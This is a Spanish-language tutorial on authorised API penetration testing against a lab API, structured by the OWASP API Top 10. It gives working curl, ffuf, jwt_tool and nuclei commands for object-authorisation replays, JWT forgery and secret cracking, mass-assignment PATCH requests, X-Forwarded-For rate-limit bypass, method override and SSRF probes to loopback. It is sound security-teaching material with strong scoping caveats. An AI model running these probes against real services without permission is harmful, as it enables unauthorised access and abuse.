La mayoría de las guías de pentest de APIs dividen la lista de OWASP en once tareas no relacionadas. Pero ese orden omite las comprobaciones más rápidas. Una segunda identidad y JSON sin procesar suelen revelar fallos de autorización antes que la búsqueda de payloads.
Y prueba únicamente una API de laboratorio en staging o deliberadamente vulnerable, con permiso por escrito. Necesitas dos identidades de prueba con diferente propiedad o roles, tokens válidos, Bash con curl y jq, y un límite de solicitudes y una condición de detención acordados. Burp Suite es útil para la interceptación y la repetición; OWASP ZAP es una opción gratuita razonable para escaneos de referencia automatizados.
Comienza con una API de laboratorio en https://api.shop.test. El fixture proporciona a Alice el pedido 1001 y a Bob el pedido 1002. Usa datos de prueba equivalentes en tu entorno. Descubriremos rutas, repetiremos objetos entre identidades, inspeccionaremos tokens y campos, mediremos límites, probaremos flujos de negocio y rastrearemos URLs controladas por el usuario. OWASP API Security Top 10 sigue siendo la edición de 2023 a fecha del 15 de agosto de 2026; úsala para etiquetar los hallazgos mientras el orden de la prueba prioriza primero las fronteras de identidad y autorización.
En este artículo
- El alcance es un control, no una exención de responsabilidad
- Construye el inventario de rutas antes de probar los controles
- Dos identidades exponen la autorización de objetos
- Trata los tokens como entradas, no como hechos
- Compara los campos devueltos con los campos modificables
- Mide los límites y prueba la identidad en la que confían
- Separa el acceso a funciones del abuso de flujos de negocio
- Sigue los valores hasta los posibles sinks
- Informa sobre la solicitud, la respuesta y el cambio de estado
El alcance es un control, no una exención de responsabilidad
Registra los hosts objetivo y las rutas excluidas. Anota las cuentas de prueba y las reglas de gestión de datos. Añade el horario de pruebas, los límites de tasa de solicitudes y la persona de contacto si el servicio se comporta mal. Decide de antemano qué detiene una prueba: aumento de las tasas de error, crecimiento de la cola, exposición inesperada de datos o cualquier tráfico de producción.
Configura el harness. La variable del proxy envía el tráfico de línea de comandos a través de Burp u otro interceptor aprobado. Importa su CA únicamente de acuerdo con la configuración aprobada de tu laboratorio.
export HTTPS_PROXY=http://127.0.0.1:8080
BASE=https://api.shop.test
TOKEN_A='alice-test-token'
TOKEN_B='bob-test-token'
Los valores siguientes representan un objetivo autorizado. OWASP’s API Security Project proporciona el marco de riesgos; no sustituye la evidencia de solicitudes y respuestas. Comienza con BOLA, broken authentication, BOPLA y BFLA. Esos controles establecen quién puede acceder a un objeto, convertirse en una identidad, cambiar una propiedad o llamar a una función.
Construye el inventario de rutas antes de probar los controles
La lista de rutas de la SPA es una pista para el descubrimiento, no un límite de cobertura. Comprueba las especificaciones comunes y los metadatos de identidad. ¿Qué revela la API?
for p in swagger-ui api-docs v3/api-docs openapi.json \
.well-known/openid-configuration; do
curl -s -o /dev/null -w "%{http_code} $p\n" "$BASE/$p"
done
Si el documento OpenAPI está protegido, repite con un token de prueba aprobado. Un 401 significa “se requiere autenticación”. La documentación aún puede estar presente.
curl -fsS "$BASE/openapi.json" |
jq -er 'if (.paths | type) == "object" then .paths | keys[] else error("no object paths") end' \
> endpoints.txt
Aquí -f rechaza los errores HTTP y -e hace que un resultado nulo provoque un fallo. Un documento malformado ya hace que jq falle.
Para un frontend de staging accesible, extrae URLs que parezcan de API desde JavaScript:
katana -u https://app.shop.test -jc -silent |
grep -E '/api|/v[0-9]' |
sort -u > discovered-urls.txt
Mantén las URLs completas separadas de las rutas relativas de OpenAPI. Herramientas como nuclei necesitan URLs accesibles:
nuclei -l discovered-urls.txt -t http/exposures/
Sondea versiones antiguas usando el prefijo que realmente utiliza tu API:
for v in v1 v2 v3 internal beta; do
curl -s -o /dev/null -w "%{http_code} /api/$v/users\n" \
"$BASE/api/$v/users"
done
Una respuesta de documentación accesible ayuda a encontrar pistas. No determina su gravedad. Registra por separado la documentación expuesta, las rutas obsoletas, los stack traces y los secretos del lado del cliente. Restringe la documentación de producción, retira las versiones antiguas, suprime los traces y elimina las claves distribuidas.
Si el inventario revela /api/orders/{id}, comienza por ahí.
Dos identidades exponen la autorización de objetos
Repite un objeto con la identidad incorrecta
BOLA es la demostración útil más rápida. Mantén constantes el método, la forma de la ruta, las cabeceras y el token mientras cambias únicamente el ID del objeto. Después invierte ambas identidades.
Alice lee su pedido:
curl -s "$BASE/api/orders/1001" \
-H "Authorization: Bearer $TOKEN_A" |
jq .
Ahora Alice solicita el pedido de Bob:
curl -i -s "$BASE/api/orders/1002" \
-H "Authorization: Bearer $TOKEN_A"
Un 403 o un 404 que no divulgue información puede ser correcto. La propiedad y los datos devueltos importan más que el estado por sí solo. Una respuesta que contenga el pedido de Bob, o un cambio de estado en él, constituye el hallazgo.
Repite en la otra dirección:
curl -i -s "$BASE/api/orders/1001" \
-H "Authorization: Bearer $TOKEN_B"
Los UUID hacen que los identificadores sean más difíciles de adivinar, pero no aplican la autorización. Prueba identificadores en rutas, cadenas de consulta, cuerpos JSON, cabeceras, recursos anidados, arrays por lotes, exportaciones, descargas y todos los métodos compatibles. Puede existir una comprobación de lectura mientras la actualización o eliminación sigue abierta.
Repite entre ubicaciones y métodos
Usa ffuf únicamente con IDs de prueba conocidos y una tasa de solicitudes baja:
ffuf -u "$BASE/api/orders/FUZZ" \
-w <(printf '%s\n' 1001 1002) \
-H "Authorization: Bearer $TOKEN_A" \
-mc 200,403,404 \
-rate 1
Un resultado positivo de un scanner aquí casi no tiene valor. Guarda la solicitud original y la repetición. Registra en qué se diferencian las respuestas. Indica el límite de identidad afectado y cualquier cambio de estado. Esa es la evidencia.
Trata los tokens como entradas, no como hechos
Un JWT legible demuestra la codificación. No dice nada sobre la verificación de la firma ni la validación de claims.
Este decoder gestiona el padding común de base64url:
JWT="$TOKEN_A"
python3 - "$JWT" <<'PY'
import base64, json, sys
for part in sys.argv[1].split(".")[:2]:
part += "=" * (-len(part) % 4)
print(json.dumps(
json.loads(base64.urlsafe_b64decode(part)),
indent=2
))
PY
Inspecciona alg, kid, iss, aud, sub, los roles y la expiración. La repetición manual de claims es la prueba principal. Para versiones compatibles con estos modos, jwt_tool puede generar variantes:
jwt_tool --help
jwt_tool "$JWT" -T
jwt_tool "$JWT" -X a
Una variante generada es únicamente un artefacto de prueba. Informa sobre confusión de algoritmos o aceptación de alg:none solo si el servidor acepta el token y cambia el acceso.
En un laboratorio que use tokens emitidos para pruebas y claves de prueba, puedes comprobar secretos HMAC débiles:
jwt_tool "$JWT" -C -d /usr/share/wordlists/rockyou.txt
Para una prueba de referencia de clave, usa únicamente una fuente de claves de laboratorio aprobada:
jwt_tool "$JWT" -X k -pk ./lab-issuer-public.pem
Comprueba payloads alterados, firmas no válidas, tokens caducados, aud o iss incorrectos, repetición tras logout y reutilización del refresh token. La presencia de kid, jku o x5u no es un hallazgo por sí misma. Prueba si esas referencias permanecen restringidas a claves de confianza y mantén las solicitudes dentro del laboratorio.
La solución comienza con una allowlist de algoritmos y la validación de la firma y los claims. Restringe las referencias de claves. Rota los refresh tokens, revócalos y detecta su reutilización. El punto débil de este método es el comportamiento asíncrono: curl puede mostrar un enqueue exitoso mientras el trabajo peligroso ocurre después. Confirma esos casos con logs o con el responsable; no infieras el impacto a partir de la respuesta HTTP.
Compara los campos devueltos con los campos modificables
BOPLA cubre lecturas y escrituras:
| Dirección | Evidencia concreta | Solución |
|---|---|---|
| Exposición de lectura | Una respuesta apropiada para un rol incluye un campo que debería omitir | Devuelve un DTO de respuesta explícito |
| Overposting de escritura | Un GET posterior muestra que isAdmin, la propiedad u otro valor protegido ha cambiado | Aplica una allowlist de campos modificables en el servidor |
Inspecciona la respuesta completa de Alice, ocultando los secretos:
curl -s "$BASE/api/users/me" \
-H "Authorization: Bearer $TOKEN_A" |
jq .
Prueba un campo cada vez contra datos desechables. Restablece la cuenta del laboratorio después de cada mutación:
curl -i -s -X PATCH "$BASE/api/users/me" \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"verified":true}'
Solo cuando el entorno de prueba lo permita, intenta con campos protegidos como role, isAdmin, ownerId o balance. Un campo reflejado es una pista. Una lectura posterior que muestre un privilegio o una propiedad cambiados es evidencia.
Arjun puede sugerir parámetros JSON, aunque su gestión del body varía según la versión:
arjun -u "$BASE/api/users/me" \
-m JSON \
-H "Authorization: Bearer $TOKEN_A"
Mide los límites y prueba la identidad en la que confían
Un resultado positivo de un scanner aquí casi no tiene valor. Rate limiting es una cuestión de identidad y control de costes, no un recuento procedente de una única dirección de origen.
Envía una prueba de login limitada:
for i in $(seq 1 20); do
curl -s -o /dev/null -w "$i %{http_code}\n" \
-X POST "$BASE/api/login" \
-H "Content-Type: application/json" \
-d "{\"user\":\"alice-test\",\"pass\":\"wrong-$i\"}"
sleep 0.2
done
curl -s -D - -o /dev/null \
-X POST "$BASE/api/login" \
-H "Content-Type: application/json" \
-d '{"user":"alice-test","pass":"wrong-final"}'
Cuando las solicitudes 1–8 devuelvan 401 y la solicitud 9 devuelva 429, registra una ventana de ocho intentos. Repite después del reset y registra Retry-After, si está presente.
Mantén constantes el token, la ruta, el payload, el tiempo y el número de solicitudes mientras comparas la línea base con las cabeceras reenviadas:
for mode in baseline rotated; do
printf '%s: ' "$mode"
for i in $(seq 1 5); do
args=()
[ "$mode" = rotated ] &&
args=(-H "X-Forwarded-For: 192.0.2.$i")
curl -s -o /dev/null -w "%{http_code} " \
"$BASE/api/search?q=test" "${args[@]}"
done
printf '\n'
done
Un mayor número de solicitudes exitosas al rotar sugiere que una cabecera falsificable influye en el límite. No demuestra por sí solo un bypass.
Comprueba la paginación y las rutas costosas con solicitudes pequeñas:
for q in 'limit=9999999' 'per_page=100000' 'page_size=-1'; do
curl -s "$BASE/api/items?$q" -o /dev/null \
-w "$q status=%{http_code} bytes=%{size_download}\n"
done
Prueba exportaciones, envíos de OTP, rutas por lotes y la profundidad o el batching de GraphQL únicamente cuando estén dentro del alcance. Detente en el límite acordado.
Para el cupón sin cargo de la API de laboratorio, prueba el estado en lugar de la carga:
for i in $(seq 1 3); do
curl -s -X POST "$BASE/api/apply-coupon" \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"code":"SAVE50"}'
printf '\n'
done
La primera aplicación debería modificar el carrito de prueba. Los intentos posteriores deberían rechazarse o dejarlo sin cambios.
Separa el acceso a funciones del abuso de flujos de negocio
El token habitual de Alice no debería acceder a datos administrativos:
curl -i -s "$BASE/api/admin/users" \
-H "Authorization: Bearer $TOKEN_A"
Prueba los métodos documentados, las versiones, las rutas bulk y cualquier comportamiento de method override:
curl -i -s -X POST "$BASE/api/orders/1001" \
-H "Authorization: Bearer $TOKEN_A" \
-H "X-HTTP-Method-Override: DELETE"
Compara la respuesta y el estado con una solicitud normal contra datos desechables. Cada método y versión necesita autorización default-deny.
Después prueba los flujos sensibles con recuentos bajos. Repite la solicitud del cupón anterior y, si el inventario contiene controles de referidos o cantidades, pruébalos con cuentas desechables. Para /api/checkout, utiliza únicamente productos sin cargo y un número pequeño de solicitudes acordado. Un estado exitoso importa cuando demuestra una transición de estado no autorizada. También puede mostrar un descuento duplicado o una infracción de cantidad.
Sigue los valores hasta los posibles sinks
Tratar la inyección como una única cadena de SQLi es una forma perezosa de probar. Primero encuentra dónde termina cada valor controlado por el usuario; después usa probes inofensivos y confirma el sink.
| Entrada | Sink hipotético | Probe seguro | Evidencia |
|---|---|---|---|
sort o filter | Parser de base de datos o búsqueda | Cambiar entre valores documentados | Reflexión, error del parser o cambio controlado del resultado |
| Campo similar a una plantilla | Renderizador de plantillas | Enviar un marcador inerte único | Renderizado inesperado en el servidor |
| Campo JSON o XML | Parser o servicio posterior | Añadir un campo desconocido benigno | Comportamiento del parser o del servicio posterior |
url o callback_url | Cliente HTTP del servidor | Enviar una URL de callback aprobada | Metadatos de la solicitud out-of-band |
El endpoint /api/fetch del laboratorio acepta una URL:
curl -i -s -X POST "$BASE/api/fetch" \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"url":"<YOUR_CONTROLLED_CALLBACK_URL>"}'
Un fetch ciego puede no devolver un body útil; el observador de callbacks proporciona la evidencia. Registra la marca de tiempo, la dirección de origen, el método y la ruta.
Después prueba un servicio interno controlado:
curl -i -s -X POST "$BASE/api/fetch" \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:8080/health"}'
Una respuesta del servicio del laboratorio sugiere claramente que la ruta de fetch lo alcanzó. Confirma el origen con los logs del servicio o con los datos del callback. Usa representaciones alternativas del loopback únicamente contra la red de staging controlada, nunca contra direcciones internas de producción. No solicites credenciales de metadata de la nube; demostrar la alcanzabilidad interna controlada es suficiente para establecer la ruta SSRF.
Si el inventario contiene source_url, link, image_url o webhook, aplica el mismo proceso. Para las hipótesis de SQL, NoSQL, command, template y parser, registra la reflexión, los errores, el tiempo y el comportamiento posterior. No afirmes que existe un sink basándote únicamente en un error extraño.
Informa sobre la solicitud, la respuesta y el cambio de estado
Lista de comprobación del hallazgo
Usa las etiquetas de 2023. BOPLA es A03, unrestricted resource consumption es A04, sensitive business flows es A06 y SSRF es A07. La clasificación de OWASP no determina por sí sola la gravedad.
Antes de cerrar la evaluación, verifica:
- endpoint y método
- identidad y rol utilizados
- solicitud original y repetida
- respuesta y diferencia relevante del JSON
- datos o estado afectados
- ID de OWASP y corrección
- condición de retest
Una checklist proporciona cobertura. El trío solicitud/respuesta/estado te proporciona un hallazgo.